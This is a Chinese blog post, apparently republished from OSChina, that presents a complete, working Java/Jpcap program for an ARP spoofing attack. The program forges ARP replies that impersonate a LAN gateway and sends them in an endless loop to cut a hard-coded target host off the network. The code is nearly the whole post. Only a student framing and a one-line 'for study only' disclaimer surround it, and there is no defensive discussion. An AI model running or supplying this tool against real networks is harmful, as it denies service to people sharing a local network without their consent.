博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
基于Jpcap的Java ARP断网攻击
阅读量:7071 次
发布时间:2019-06-28

本文共 5809 字,大约阅读时间需要 19 分钟。

hot3.png

这是大二学习计算机网络的时候写的一个小程序,可实现局域网内断网攻击。这也作为学习网络层、数据链路层(在OSI模型中ARP协议属于链路层;而在TCP/IP模型中,ARP协议属于网络层)的其中一个小实验吧。

下面的代码运行前需要安装jpcap,安装方法百度一下很多,不过需要注意版本~

代码注释还比较多,部分同学可能还需了解一些计算机网络的知识才能看懂

package com.arpattack; import java.io.IOException;import java.net.InetAddress;import java.util.Arrays; import jpcap.JpcapCaptor;import jpcap.JpcapSender;import jpcap.NetworkInterface;import jpcap.packet.ARPPacket;import jpcap.packet.EthernetPacket;import jpcap.packet.Packet; /*** 基于Jpcap的ARP攻击程序范例* @author 陈祖煌* @version 1.0*/public class ARPAttack {         /**        * 本地主机的0号网络设备,根据具体实际情况对参数0进行修改        */        public static NetworkInterface device = JpcapCaptor.getDeviceList()[0];         /**        * 通过发送ARP请求包来获取某一IP地址主机的MAC地址。        * @param ip //未知MAC地址主机的IP地址        * @return //已知IP地址的MAC地址        * @throws IOException        */        public static byte[] getOtherMAC(String ip) throws IOException{                JpcapCaptor jc = JpcapCaptor.openDevice(device,2000,false,3000); //打开网络设备,用来侦听                JpcapSender sender = jc.getJpcapSenderInstance(); //发送器JpcapSender,用来发送报文                InetAddress senderIP = InetAddress.getByName("10.96.33.232"); //设置本地主机的IP地址,方便接收对方返回的报文                InetAddress targetIP = InetAddress.getByName(ip); //目标主机的IP地址                 ARPPacket arp=new ARPPacket(); //开始构造一个ARP包                arp.hardtype=ARPPacket.HARDTYPE_ETHER; //硬件类型                arp.prototype=ARPPacket.PROTOTYPE_IP; //协议类型                arp.operation=ARPPacket.ARP_REQUEST; //指明是ARP请求包                arp.hlen=6; //物理地址长度                arp.plen=4; //协议地址长度                arp.sender_hardaddr=device.mac_address; //ARP包的发送端以太网地址,在这里即本地主机地址                arp.sender_protoaddr=senderIP.getAddress(); //发送端IP地址, 在这里即本地IP地址                 byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255}; //广播地址                arp.target_hardaddr=broadcast; //设置目的端的以太网地址为广播地址                arp.target_protoaddr=targetIP.getAddress(); //目的端IP地址                 //构造以太帧首部                EthernetPacket ether=new EthernetPacket();                ether.frametype=EthernetPacket.ETHERTYPE_ARP; //帧类型                ether.src_mac=device.mac_address; //源MAC地址                ether.dst_mac=broadcast; //以太网目的地址,广播地址                arp.datalink=ether; //将arp报文的数据链路层的帧设置为刚刚构造的以太帧赋给                 sender.sendPacket(arp); //发送ARP报文                 while(true){ //获取ARP回复包,从中提取出目的主机的MAC地址,如果返回的是网关地址,表明目的IP不是局域网内的地址                        Packet packet = jc.getPacket();                        if(packet instanceof ARPPacket){                                ARPPacket p=(ARPPacket)packet;                                if(p==null){                                        throw new IllegalArgumentException(targetIP+" is not a local address"); //这种情况也属于目的主机不是本地地址                                 }                                if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){                                        System.out.println("get mac ok");                                        return p.sender_hardaddr; //返回                                }                        }                }        }         /**        * 将字符串形式的MAC地址转换成存放在byte数组内的MAC地址        * @param str 字符串形式的MAC地址,如:AA-AA-AA-AA-AA        * @return 保存在byte数组内的MAC地址        */        public static byte[] stomac(String str) {                byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };                String[] temp = str.split("-");                for (int x = 0; x < temp.length; x++) {                        mac[x] = (byte) ((Integer.parseInt(temp[x], 16)) & 0xff);                }                return mac;        }         /**        * 执行ARP断网攻击。原理是:冒充网关发送出来的ARP应答包,令接收端更改其ARP缓存表,修改网关IP地址对应的MAC地址,从而令数据无法正常通过网关发出。        * @param ip        * @param time        * @throws InterruptedException        * @throws IOException        */        public static void ARPAttack(String ip, int time) throws InterruptedException, IOException{                JpcapCaptor jpcap = JpcapCaptor.openDevice(device, 65535, false, 3000);                jpcap.setFilter("arp", true);                JpcapSender sender = JpcapSender.openDevice(device);                 ARPPacket arp = new ARPPacket();                arp.hardtype = ARPPacket.HARDTYPE_ETHER;//硬件类型                arp.prototype = ARPPacket.PROTOTYPE_IP; //协议类型                arp.operation = ARPPacket.ARP_REPLY; //指明是ARP应答包包                arp.hlen = 6;                arp.plen = 4;                 byte[] srcmac = stomac("00-0D-2B-2E-B1-0A"); // 伪装的MAC地址,这里乱写就行,不过要符合格式、十六进制                arp.sender_hardaddr = srcmac;                arp.sender_protoaddr = InetAddress.getByName("10.96.0.1").getAddress();                 arp.target_hardaddr=getOtherMAC(ip);                arp.target_protoaddr=InetAddress.getByName(ip).getAddress();                 //设置数据链路层的帧                EthernetPacket ether=new EthernetPacket();                ether.frametype=EthernetPacket.ETHERTYPE_ARP;                ether.src_mac= srcmac; //停止攻击一段时间后,目标主机会自动恢复网络。若要主动恢复,这里可用getOtherMAC("10.96.0.1");                ether.dst_mac=getOtherMAC(ip);                arp.datalink=ether;                 // 发送ARP应答包 。因为一般主机会间隔一定时间发送ARP请求包询问网关地址,所以这里需要设置一个攻击周期。                while (true) {                        System.out.println("sending ARP..");                        sender.sendPacket(arp);                        Thread.sleep(time);                }        }         /**        * 程序入口        * @param args        * @throws IOException        * @throws InterruptedException        */        public static void main(String[] args) throws InterruptedException, IOException {                ARPAttack("10.96.81.56", 2000);        }}

代码仅供学习研究,切勿用于不良用途。

转载于:https://my.oschina.net/chenzuhuang/blog/337250

你可能感兴趣的文章
我的友情链接
查看>>
SpringMVC源码解析(三)——HandlerAdapter
查看>>
Python执行系统命令的方法
查看>>
动态加载远程Jar的实现方式
查看>>
无线***笔记(一)-《***WPA-PSK加密无线网络》
查看>>
MyEclipse10.1集成SVN
查看>>
Sitemesh和Struts2结合时Filter的配制顺序
查看>>
【python】编程语言入门经典100例--19
查看>>
[tomcat7源码学习]ClassLoader加载Tomcat的依赖
查看>>
解决MySQL Master/Slave 同步出错
查看>>
常用的主机监控Shell脚本
查看>>
CentOS历史版本下载方法
查看>>
[cocos2dx]斗地主制作之洗牌算法
查看>>
javascript 注入实现跨html跨浏览器传参
查看>>
linux 网络基本配置
查看>>
redis 主从配置,自动切换
查看>>
Spring3 MVC Login Interceptor
查看>>
linux的启动流程--
查看>>
centos镜像liveCD,liveDVD和DVD区别
查看>>
javascript variable's scope , 变量 范围
查看>>